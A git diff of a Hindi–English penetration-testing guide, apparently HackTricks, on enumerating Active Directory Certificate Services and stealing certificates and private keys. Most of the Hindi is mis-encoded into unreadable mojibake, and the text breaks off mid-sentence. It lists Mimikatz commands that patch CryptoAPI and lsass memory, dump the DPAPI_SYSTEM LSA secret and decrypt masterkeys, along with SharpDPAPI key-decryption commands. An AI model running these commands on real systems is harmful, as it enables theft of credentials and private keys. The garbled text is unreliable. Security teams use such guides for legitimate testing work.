рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ LDAP рдХреНрд╡реЗрд░реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ **Enterprise Certificate Authorities (CAs)** рдФрд░ рдЙрдирдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди-рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рд╕реБрд▓рдн рд╣реИред **[Certify](https://github.com/GhostPack/Certify)** рдФрд░ **[Certipy](https://github.com/ly4k/Certipy)** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг AD CS рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЧрдгрдирд╛ рдФрд░ рднреЗрджреНрдпрддрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред +AD рдХреА рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ LDAP рдкреНрд░рд╢реНрдиреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬреЛ **Enterprise Certificate Authorities (CAs)** рдФрд░ рдЙрдирдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИред рдпрд╣ рдХрд┐рд╕реА рднреА рдбреЛрдореЗрди-рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рд╕реБрд▓рдн рд╣реИред **[Certify](https://github.com/GhostPack/Certify)** рдФрд░ **[Certipy](https://github.com/ly4k/Certipy)** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдг AD CS рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЧрдгрдирд╛ рдФрд░ рднреЗрджреНрдпрддрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: +рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрджреЗрд╢ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: ```bash # Enumerate trusted root CA certificates and Enterprise CAs with Certify Certify.exe cas diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 2cdf2b7fe..95fa3cb15 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -1,4 +1,4 @@ -# AD CS рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЪреЛрд░реА +# AD CS Certificate Theft {{#include ../../../banners/hacktricks-training.md}} @@ -6,8 +6,8 @@ ## рдореИрдВ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдБ -рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣рд╛рдБ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд┐рд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ: -```powershell +рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рдЪреБрд░рд╛рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдпрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ рдХрд┐ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд┐рд╕рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ: +```bash # Powershell $CertPath = "C:\path\to\cert.pfx" $CertPass = "P@ssw0rd" @@ -20,11 +20,11 @@ certutil.exe -dump -v cert.pfx ``` ## Exporting Certificates Using the Crypto APIs тАУ THEFT1 -In an **interactive desktop session**, extracting a user or machine certificate, along with the private key, can be easily done, particularly if the **private key is exportable**. This can be achieved by navigating to the certificate in `certmgr.msc`, right-clicking on it, and selecting `All Tasks тЖТ Export` to generate a password-protected .pfx file. +In an **interactive desktop session**, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдорд╢реАрди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ, рд╕рд╛рде рдореЗрдВ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЗ, рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ **рдирд┐рдЬреА рдХреБрдВрдЬреА рдирд┐рд░реНрдпрд╛рдд рдпреЛрдЧреНрдп рд╣реИ**ред рдЗрд╕реЗ `certmgr.msc` рдореЗрдВ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рдХреЗ, рдЙрд╕ рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдФрд░ `All Tasks тЖТ Export` рдХрд╛ рдЪрдпрди рдХрд░рдХреЗ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб-рд╕рдВрд░рдХреНрд╖рд┐рдд .pfx рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред For a **programmatic approach**, tools such as the PowerShell `ExportPfxCertificate` cmdlet or projects like [TheWoverтАЩs CertStealer C# project](https://github.com/TheWover/CertStealer) are available. These utilize the **Microsoft CryptoAPI** (CAPI) or the Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs provide a range of cryptographic services, including those necessary for certificate storage and authentication. -However, if a private key is set as non-exportable, both CAPI and CNG will normally block the extraction of such certificates. To bypass this restriction, tools like **Mimikatz** can be employed. Mimikatz offers `crypto::capi` and `crypto::cng` commands to patch the respective APIs, allowing for the exportation of private keys. Specifically, `crypto::capi` patches the CAPI within the current process, while `crypto::cng` targets the memory of **lsass.exe** for patching. +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рдПрдХ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рдЧреИрд░-рдирд┐рд░реНрдпрд╛рдд рдпреЛрдЧреНрдп рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ CAPI рдФрд░ CNG рдРрд╕реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рдирд┐рд╖реНрдХрд░реНрд╖рдг рдХреЛ рд░реЛрдХ рджреЗрдВрдЧреЗред рдЗрд╕ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **Mimikatz** рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Mimikatz `crypto::capi` рдФрд░ `crypto::cng` рдХрдорд╛рдВрдб рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рдВрдмрдВрдзрд┐рдд APIs рдХреЛ рдкреИрдЪ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬрд┐рд╕рд╕реЗ рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдирд┐рд░реНрдпрд╛рдд рд╕рдВрднрд╡ рд╣реЛ рд╕рдХреЗред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, `crypto::capi` рд╡рд░реНрддрдорд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рднреАрддрд░ CAPI рдХреЛ рдкреИрдЪ рдХрд░рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ `crypto::cng` рдкреИрдЪрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП **lsass.exe** рдХреА рдореЗрдореЛрд░реА рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред ## User Certificate Theft via DPAPI тАУ THEFT2 @@ -34,9 +34,9 @@ More info about DPAPI in: ../../windows-local-privilege-escalation/dpapi-extracting-passwords.md {{#endref}} -In Windows, **certificate private keys are safeguarded by DPAPI**. It's crucial to recognize that the **storage locations for user and machine private keys** are distinct, and the file structures vary depending on the cryptographic API utilized by the operating system. **SharpDPAPI** is a tool that can navigate these differences automatically when decrypting the DPAPI blobs. +In Windows, **certificate private keys are safeguarded by DPAPI**. рдпрд╣ рдкрд╣рдЪрд╛рдирдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдФрд░ рдорд╢реАрди рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднрдВрдбрд╛рд░рдг рд╕реНрдерд╛рди** рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рдВрд░рдЪрдирд╛рдПрдБ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ API рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИрдВред **SharpDPAPI** рдПрдХ рдЙрдкрдХрд░рдг рд╣реИ рдЬреЛ DPAPI рдмреНрд▓реЙрдмреНрд╕ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╕рдордп рдЗрди рднрд┐рдиреНрдирддрд╛рдУрдВ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -**User certificates** are predominantly housed in the registry under `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, but some can also be found in the directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. The corresponding **private keys** for these certificates are typically stored in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` for **CAPI** keys and `%APPDATA%\Microsoft\Crypto\Keys\` for **CNG** keys. +**User certificates** рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` рдХреЗ рддрд╣рдд рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреБрдЫ `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рднреА рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдмрдВрдзрд┐рдд **рдирд┐рдЬреА рдХреБрдВрдЬрд┐рдпрд╛рдБ** рдЖрдорддреМрд░ рдкрд░ `%APPDATA%\Microsoft\Crypto\RSA\User SID\` рдореЗрдВ **CAPI** рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдФрд░ `%APPDATA%\Microsoft\Crypto\Keys\` рдореЗрдВ **CNG** рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВред To **extract a certificate and its associated private key**, the process involves: @@ -52,7 +52,7 @@ dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc # With mimikatz, if the user's password is known dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS ``` -рдорд╛рд╕реНрдЯрд░рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) рд╕реЗ `certificates` рдХрдорд╛рдВрдб рдлрд╛рдпрджреЗрдордВрдж рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреАрдЬрд╝ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рд╕рд░реНрдЯрд┐рдлрд╝рд┐рдХреЗрдЯреНрд╕ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `/pvk`, `/mkfile`, `/password`, рдпрд╛ `{GUID}:KEY` рдХреЛ рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ `.pem` рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред +рдорд╛рд╕реНрдЯрд░рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) рд╕реЗ `certificates` рдХрдорд╛рдВрдб рдлрд╛рдпрджреЗрдордВрдж рд╕рд╛рдмрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯреНрд╕ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `/pvk`, `/mkfile`, `/password`, рдпрд╛ `{GUID}:KEY` рдХреЛ рдЖрд░реНрдЧреБрдореЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ `.pem` рдлрд╝рд╛рдЗрд▓ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред ```bash # Decrypting using SharpDPAPI SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt @@ -60,27 +60,27 @@ SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt # Converting .pem to .pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` -## рдорд╢реАрди рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЪреЛрд░реА DPAPI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ тАУ THEFT3 +## Machine Certificate Theft via DPAPI тАУ THEFT3 -рдорд╢реАрди рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ Windows рджреНрд╡рд╛рд░рд╛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреА `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI рдХреЗ рд▓рд┐рдП) рдФрд░ `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG рдХреЗ рд▓рд┐рдП) рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдорд╢реАрди рдХреЗ DPAPI рдорд╛рд╕реНрдЯрд░ рдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрди рдХреАрдЬрд╝ рдХреЛ рдбреЛрдореЗрди рдХреЗ DPAPI рдмреИрдХрдЕрдк рдХреА рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛; рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ**, рдЬрд┐рд╕реЗ рдХреЗрд╡рд▓ SYSTEM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +Windows рджреНрд╡рд╛рд░рд╛ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдорд╢реАрди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд рдирд┐рдЬреА рдХреБрдВрдЬреА `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI рдХреЗ рд▓рд┐рдП) рдФрд░ `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG рдХреЗ рд▓рд┐рдП) рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИрдВ, рдЬреЛ рдорд╢реАрди рдХреЗ DPAPI рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВред рдЗрди рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдбреЛрдореЗрди рдХреЗ DPAPI рдмреИрдХрдЕрдк рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛; рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, **DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ**, рдЬрд┐рд╕реЗ рдХреЗрд╡рд▓ SYSTEM рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред -рдореИрдиреБрдЕрд▓ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди `lsadump::secrets` рдХрдорд╛рдВрдб рдХреЛ **Mimikatz** рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ рдХреЛ рдирд┐рдХрд╛рд▓рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдЗрд╕ рдХреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдорд╢реАрди рдорд╛рд╕реНрдЯрд░рдХреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, Mimikatz рдХрд╛ `crypto::certificates /export /systemstore:LOCAL_MACHINE` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ CAPI/CNG рдХреЛ рдкрд╣рд▓реЗ рд╡рд░реНрдгрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдкреИрдЪ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдореИрдиреБрдЕрд▓ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди `lsadump::secrets` рдХрдорд╛рдВрдб рдХреЛ **Mimikatz** рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ рдХреЛ рдирд┐рдХрд╛рд▓рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдЗрд╕ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдорд╢реАрди рдорд╛рд╕реНрдЯрд░рдХреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, Mimikatz рдХрд╛ `crypto::certificates /export /systemstore:LOCAL_MACHINE` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ CAPI/CNG рдХреЛ рдкрд╣рд▓реЗ рд╡рд░реНрдгрд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдкреИрдЪ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**SharpDPAPI** рдЕрдкрдиреЗ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдзрд┐рдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЬрдм `/machine` рдлреНрд▓реИрдЧ рдХреЛ рдКрдВрдЪреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ SYSTEM рдореЗрдВ рдмрдврд╝рддрд╛ рд╣реИ, DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ рдХреЛ рдбрдВрдк рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдорд╢реАрди DPAPI рдорд╛рд╕реНрдЯрд░рдХреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрди рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХреАрдЬрд╝ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдорд╢реАрди рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдкреНрд░рд╛рдЗрд╡реЗрдЯ рдХреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реБрдХрдЕрдк рдЯреЗрдмрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░рддрд╛ рд╣реИред +**SharpDPAPI** рдЕрдкрдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдзрд┐рдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЬрдм `/machine` рдзреНрд╡рдЬ рдХреЛ рдКрдВрдЪреЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ SYSTEM рдореЗрдВ рдмрдврд╝рддрд╛ рд╣реИ, DPAPI_SYSTEM LSA рд╕реАрдХреНрд░реЗрдЯ рдХреЛ рдбрдВрдк рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдорд╢реАрди DPAPI рдорд╛рд╕реНрдЯрд░рдХреАрдЬрд╝ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрди рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рдорд╢реАрди рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реБрдХрдЕрдк рдЯреЗрдмрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд░рддрд╛ рд╣реИред -## рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЦреЛрдЬрдирд╛ тАУ THEFT4 +## Finding Certificate Files тАУ THEFT4 -рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрднреА-рдХрднреА 